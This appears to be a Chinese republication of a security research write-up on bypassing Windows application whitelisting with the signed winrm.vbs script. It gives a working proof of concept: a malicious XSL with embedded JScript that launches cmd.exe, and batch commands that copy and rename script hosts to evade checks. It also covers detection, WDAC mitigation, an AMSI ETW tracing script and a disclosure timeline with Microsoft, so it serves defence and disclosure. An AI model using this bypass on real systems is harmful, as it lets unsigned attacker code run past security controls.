内容简介:winrm.vbs(System32中的Windows签名脚本)能够使用和执行攻击者控制的XSL,而XSL不受“当向winrm.vbs提供“-format:pretty”或“-format:text”参数时,它会将WsmPty.xsl或WsmTxt.xsl分别从cscript.exe所在的目录中取出。这意味着,如果攻击者将cscript.exe复制到攻击者控制的恶意XSL所在的位置,则将执行任意未签名代码。这个问题实际上与
绕过技术描述
winrm.vbs(System32中的Windows签名脚本)能够使用和执行攻击者控制的XSL,而XSL不受“ enlightened script host ”的限制,导致任意的、无签名的代码执行。
当向winrm.vbs提供“-format:pretty”或“-format:text”参数时,它会将WsmPty.xsl或WsmTxt.xsl分别从cscript.exe所在的目录中取出。这意味着,如果攻击者将cscript.exe复制到攻击者控制的恶意XSL所在的位置,则将执行任意未签名代码。这个问题实际上与 Casey Smith 的 wmic.exe技术 完全相同。
PoC
武器化工作流程如下:
- 将恶意的WsmPty.xsl或WsmTxt.xsl放置到攻击者控制的位置。
- 将cscript.exe(或使用wcript.exe和后面描述的技巧)复制到同一位置。
- 执行winrm.vbs,使用“-format”开关,指定“pretty”或“text”,具体取决于哪个.XSL文件被删除,WsmPty.xsl或 WsmTxt.xsl。
下面是一个“恶意”XSL的例子,它可以放置到攻击者控制的目录中(在这个例子中,是在C:BypassDirWsmPty.xsl中):
<?xml version='1.0'?> <stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:user="placeholder" version="1.0"> <output method="text"/> <ms:script implements-prefix="user" language="JScript"> <![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe"); ]]> </ms:script> </stylesheet>
WsmPty.xsl的正确武器化可能包括嵌入式 DotNetToJScript payload,从而导致执行任意的未签名代码。
mkdir %SystemDrive%BypassDir copy %windir%System32cscript.exe %SystemDrive%BypassDir %SystemDrive%BypassDircscript //nologo %windir%System32winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty
发现方法论
这一发现本质上是偶然发生的。在与Casey进行了 基于XSL的wmic.exe绕过技术 的研究后不久,我碰巧正在审核内置的VBS和JScript文件,以获得更多的绕过技术。我审核这些文件类型的动机是受到了 Matt Nelson 的启发,他最初用他的 Purprn.vbs注入技术 激起了我的兴趣。在阅读winrm.vbs的源代码时,字符串“WsmPty.xsl”和“WsmTxt.xsl”引起了我的注意,因为正如Casey在他的博客文章中演示的那样,使用XSL的应用程序有可能通过将WSH脚本内容嵌入到XSL文件中来实现任意代码执行。当然,winrm.vbs也不例外。
更广泛地说,我常常非常积极地寻找允许任意、未签名代码执行的签名脚本和二进制文件,因为它们不仅可以绕过应用程序白名单,而且不太可能被安全产品检测到(至少在它们被发布之前是不会被发现的)。我总是在狩猎!
检测与规避策略
为了为该技术建立健壮的检测,重要的是确定执行该技术所需的最小组件集。
必须删除攻击者控制的WsmPty.xsl或WsmTxt.xsl。
winrm.vbs对WsmPty.xsl和WsmTxt.xsl进行硬编码,并显式地将它们绑定到“pretty”和“text”参数。似乎没有办法指示winrm.vbs使用不同的XSL文件,而不是使用XSL payload的可执行文件的当前工作目录(即在大多数情况下使用cscript.exe)。从检测的角度来看,WsmPty.xsl或WsmTxt.xsl文件的哈希值与System 32中的哈希值不同,应该被认为是可疑的。幸运的是,合法XSL文件的哈希值很少会改变。
此外,合法的WsmPty.xsl和WsmTxt.xsl文件是目录签名的。任何偏离这些哈希值将导致文件不再签名。换句话说,磁盘上没有签名的任何WsmPty.xsl或WsmTxt.xsl都应该被怀疑。请注意,目录签名验证要求运行“cryptsvc”服务。
必须执行签名的winrm.vbs。如果攻击者要编辑winrm.vbs的内容,这种绕过方法的值将无效。
基于命令行中winrm.vbs的存在来构建检测相对较弱,因为攻击者可以将winrm.vbs重命名为他们选择的文件名。
为了使用XSL文件,必须用“pretty”或“text”参数指定“format”。
允许对“format”进行以下不敏感的参数更改:
-format:pretty -format:"pretty" /format:pretty /format:"pretty" -format:text -format:"text" /format:text /format:"text"
虽然构建“format”是否存在的检测将捕捉所有的变化,但检测可能存在问题。“format”参数是否合法使用将取决于组织。但是,除了System32中的cscript.exe和winrm.vbs之外,不太可能从其他任何地方合法调用。
winrm.vbs预计将从cscript.exe执行。脚本中有执行验证的逻辑。
winrm.vbs通过验证WScript.FullName(到正在执行的主机二进制文件的完整路径)包含“cscript.exe”来验证它是否从cscript.exe执行。不过,这是一个弱的验证,因为它只检查“cscript.exe”是否位于完整路径的任何位置。这对攻击者意味着,如果他们想要从重命名的cscript.exe或甚至从另一个脚本主机二进制文件(如wcript.exe)启动winrm.vbs,它们都可以启动winrm.vbs。下面是一个update .bat PoC,它绕过了“cscript.exe”检查。
mkdir %SystemDrive%BypassDircscript.exe copy %windir%System32wscript.exe %SystemDrive%BypassDircscript.exewinword.exe %SystemDrive%BypassDircscript.exewinword.exe //nologo %windir%System32winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty
检测鲁棒性需要注意的
- 在PoC示例中选择get wmicimv2/Win32_Process?Handle=4参数仅仅是为了演示一个实际的命令行参数,假设启用了WinRM服务,该参数实际上将返回有用的内容。不过,请注意,并不需要启用WinRM服务才能使用该技术,还有各种其他选项支持“format”参数。这些选项没有显示任何形式的恶意意图。
- 鲁棒性的检测不会涉及到在命令行中查找cscript.exe或wcript.exe。没有什么可以阻止攻击者复制和重命名WSH主机可执行文件。要对进程执行进行更健壮的检测,就需要验证“原始文件名(Original filename)”以及二进制文件的签名。“原始文件名(Original filename)”(“版本信息/version info”嵌入式资源的一个组件)是文件签名时哈希计算的一部分。如果攻击者试图修改WSH主机可执行文件中的任何嵌入资源,则签名将无效。
缓解和预防策略
可以通过在执行用户模式代码完整性(UMCI)的情况下启用Windows防御应用程序控制(WDAC)来防止这种技术。脚本的易受攻击版本需要被哈希阻塞,因为没有其他健壮的方法来阻止易受攻击的签名脚本。然而,识别脚本的所有易受攻击版本是困难的,因为防御者不太可能捕获所有可能的Windows版本中Winrm.vbs的所有易受攻击版本的所有哈希值。 这篇文章 更详细地介绍了脚本黑名单的无效性。
至于缓解,Microsoft可以在脚本中修复该问题并发布新的目录签名。这样做将使以前易受攻击的脚本版本成为未签名版本。因此,如果使用WDAC强制执行脚本签名,那么以前易受攻击的winrm.vbs版本将无法执行。但是,这种方案仅阻止非管理员执行易受攻击的winrm.vbs版本。以管理员身份运行的攻击者可以安装以前的目录签名,从而恢复执行易受攻击的winrm.vbs版本的功能。
上述两种预防/缓解方案都依赖于WDAC的执行。考虑到绝大多数组织都不会启用WDAC,即使使用固定的winrm.vbs,也无法阻止攻击者将易受攻击版本的winrm.vbs放入磁盘并执行该操作。最后,确实没有可靠的预防解决方案,即使修复了winrm.vbs。
WSH/XSL Script
这不是第一次,当然也不会是最后一次XSL和WSH被攻击者滥用。理想情况下,攻击者应该能够洞察payload是从磁盘执行还是完全在内存中执行。Powershell具有这种使用 scriptblock日志 的开箱即用能力。然而,WSH却没有这样的等价物。随着 反恶意软件扫描接口 (AMSI)的引入,如果你愿意使用ETW,就有可能捕获WSH内容。
AMSI Optics通过Microsoft-Antimalware-Scan-Interface ETW供应商公开.如果你想尝试捕获AMSI事件,可以使用的最佳库之一是KrabsETW。不过,简单起见,可以使用logman.exe捕获ETL跟踪。例如,以下命令将启动和停止ETW跟踪,并将与AMSI相关的事件保存到AMSITrace.etl:
logman start AMSITrace -p Microsoft-Antimalware-Scan-Interface Event1 -o AMSITrace.etl -ets <After starting the trace, this is when you'd run your malicious code to capture its context.> logman stop AMSITrace -ets
虽然ETW的机制超出了这篇文章的范围,但你可能想知道我是如何知道Microsoft-Antimalware-Scan-Interface ETW提供者的,以及“Event1”关键字是从哪里来的。
通过使用logman query providers命令查询已注册的提供者,我知道了ETW提供者的名称。“Event1”对应于捕获AMSI上下文的关键字。为了发现该关键字,我使用了 perview.exe 将ETW清单转储到XML。清单还让你深入了解可以通过提供者收集的事件。
<instrumentationManifest xmlns="http://schemas.microsoft.com/win/2004/08/events"> <instrumentation xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:win="http://manifests.microsoft.com/win/2004/08/windows/events"> <events> <provider name="Microsoft-Antimalware-Scan-Interface" guid="{2a576b87-09a7-520e-c21a-4942f0271d67}" resourceFileName="Microsoft-Antimalware-Scan-Interface" messageFileName="Microsoft-Antimalware-Scan-Interface" symbol="MicrosoftAntimalwareScanInterface" source="Xml" > <keywords> <keyword name="Event1" message="$(string.keyword_Event1)" mask="0x1"/> </keywords> <tasks> <task name="task_0" message="$(string.task_task_0)" value="0"/> </tasks> <events> <event value="1101" symbol="task_0" version="0" task="task_0" level="win:Informational" keywords="Event1" template="task_0Args"/> </events> <templates> <template tid="task_0Args"> <data name="session" inType="win:Pointer"/> <data name="scanStatus" inType="win:UInt8"/> <data name="scanResult" inType="win:UInt32"/> <data name="appname" inType="win:UnicodeString"/> <data name="contentname" inType="win:UnicodeString"/> <data name="contentsize" inType="win:UInt32"/> <data name="originalsize" inType="win:UInt32"/> <data name="content" inType="win:Binary" length="contentsize"/> <data name="hash" inType="win:Binary"/> <data name="contentFiltered" inType="win:Boolean"/> </template> </templates> </provider> </events> </instrumentation> <localization> <resources culture="en-US"> <stringTable> <string id="keyword_Event1" value="Event1"/> <string id="task_task_0" value="task_0"/> </stringTable> </resources> </localization> </instrumentationManifest>
捕获.ETL跟踪后,可以使用你选择的 工具 对其进行分析。PowerShell中的Gt-WinEvent是一个很好的内置.ETL解析器。我编写了一个简短的脚本来演示如何解析AMSI事件。注意WSH无法提供“ContentName”属性的bug,这导致需要手动解析事件数据。脚本还将捕获PowerShell的内容。
# Script author: Matt Graeber (@mattifestation) # logman start AMSITrace -p Microsoft-Antimalware-Scan-Interface Event1 -o AMSITrace.etl -ets # Do your malicious things here that would be logged by AMSI # logman stop AMSITrace -ets $OSArchProperty = Get-CimInstance -ClassName Win32_OperatingSystem -Property OSArchitecture $OSArch = $OSArchProperty.OSArchitecture $OSPointerSize = 32 if ($OSArch -eq '64-bit') { $OSPointerSize = 64 } $AMSIScanEvents = Get-WinEvent -Path .AMSITrace.etl -Oldest -FilterXPath '*[System[EventID=1101]]' | ForEach-Object { if (-not $_.Properties) { # The AMSI provider is not supplying the contentname property when WSH content is logged resulting # in Get-WinEvent or Event Viewer being unable to parse the data based on the schema. # If this bug were not present, retrieving WSH content would be trivial. $PayloadString = ([Xml] $_.ToXml()).Event.ProcessingErrorData.EventPayload [Byte[]] $PayloadBytes = ($PayloadString -split '([0-9A-F]{2})' | Where-Object {$_} | ForEach-Object {[Byte] "0x$_"}) $MemoryStream = New-Object -TypeName IO.MemoryStream -ArgumentList @(,$PayloadBytes) $BinaryReader = New-Object -TypeName IO.BinaryReader -ArgumentList $MemoryStream, ([Text.Encoding]::Unicode) switch ($OSPointerSize) { 32 { $Session = $BinaryReader.ReadUInt32() } 64 { $Session = $BinaryReader.ReadUInt64() } } $ScanStatus = $BinaryReader.ReadByte() $ScanResult = $BinaryReader.ReadInt32() $StringBuilder = New-Object -TypeName Text.StringBuilder do { $CharVal = $BinaryReader.ReadInt16(); $null = $StringBuilder.Append([Char] $CharVal) } while ($CharVal -ne 0) $AppName = $StringBuilder.ToString() $null = $StringBuilder.Clear() $ContentSize = $BinaryReader.ReadInt32() $OriginalSize = $BinaryReader.ReadInt32() $ContentRaw = $BinaryReader.ReadBytes($ContentSize) $Content = [Text.Encoding]::Unicode.GetString($ContentRaw) $Hash = [BitConverter]::ToString($BinaryReader.ReadBytes(0x20)).Replace('-', '') [Bool] $ContentFiltered = $BinaryReader.ReadInt32() $BinaryReader.Close() [PSCustomObject] @{ Session = $Session ScanStatus = $ScanStatus ScanResult = $ScanResult AppName = $AppName ContentName = $null Content = $Content Hash = $Hash ContentFiltered = $ContentFiltered } } else { $Session = $_.Properties[0].Value $ScanStatus = $_.Properties[1].Value $ScanResult = $_.Properties[2].Value $AppName = $_.Properties[3].Value $ContentName = $_.Properties[4].Value $Content = [Text.Encoding]::Unicode.GetString($_.Properties[7].Value) $Hash = [BitConverter]::ToString($_.Properties[8].Value).Replace('-', '') $ContentFiltered = $_.Properties[9].Value [PSCustomObject] @{ Session = $Session ScanStatus = $ScanStatus ScanResult = $ScanResult AppName = $AppName ContentName = $ContentName Content = $Content Hash = $Hash ContentFiltered = $ContentFiltered } } } $AMSIScanEvents
捕获跟踪后,将看到执行的payload的内容。
了解基于ETW的optics和检测规模超出了这篇文章的范围,但希望这个例子能激励你进一步研究它。
时间表
正如SpecterOps致力于提高 透明度 一样,我们承认攻击者一旦被公开采用新的进攻技术的速度。这就是为什么在发布一种新的攻击技术之前,我们会定期将问题通知各自的供应商,提供充足的时间来缓解问题,并通知选定的受信任的供应商,以确保检测能够尽快交付给他们的客户。
由于此技术影响到Windows防御应用程序控制(通过MSRC提供的可使用的安全功能),该问题已报告给Microsoft。披露时间表如下:
- 2018年4月24日-向MSRC提交报告
- 2018年4月24日-报告已确认并指定了案件编号
- 2018年4月30日-收到电子邮件,表示已复现该问题
- 2018年5月24日-发送电子邮件至MSRC请求更新
- 2018年5月28日-答复称评估工作仍在进行中
- 2018年6月10日-发送电子邮件至MSRC请求更新
- 2018年6月11日-MSRC回应称,产品团队的目标是8月份修复问题。
- 2018年7月12日-MSRC的答复中指出,该问题不能通过安全更新来解决,可能在v.Next中解决
审核人:yiwang 编辑:边边
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- 使用Winrm.vbs绕过应用白名单执行任意未签名代码的分析
- 用 Python 制作一个艺术签名小工具,给自己设计一个优雅的签名
- 强随机数应用链链RandDrop已上线——BLS签名实现阈值签名的流程
- Android应用签名打包
- [原]数字签名
- iOS 签名机制
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
How to Build a Billion Dollar App
George Berkowski / Little, Brown Book Group / 2015-4-1 / USD 24.95
Apps have changed the way we communicate, shop, play, interact and travel and their phenomenal popularity has presented possibly the biggest business opportunity in history. In How to Build a Billi......一起来看看 《How to Build a Billion Dollar App》 这本书的介绍吧!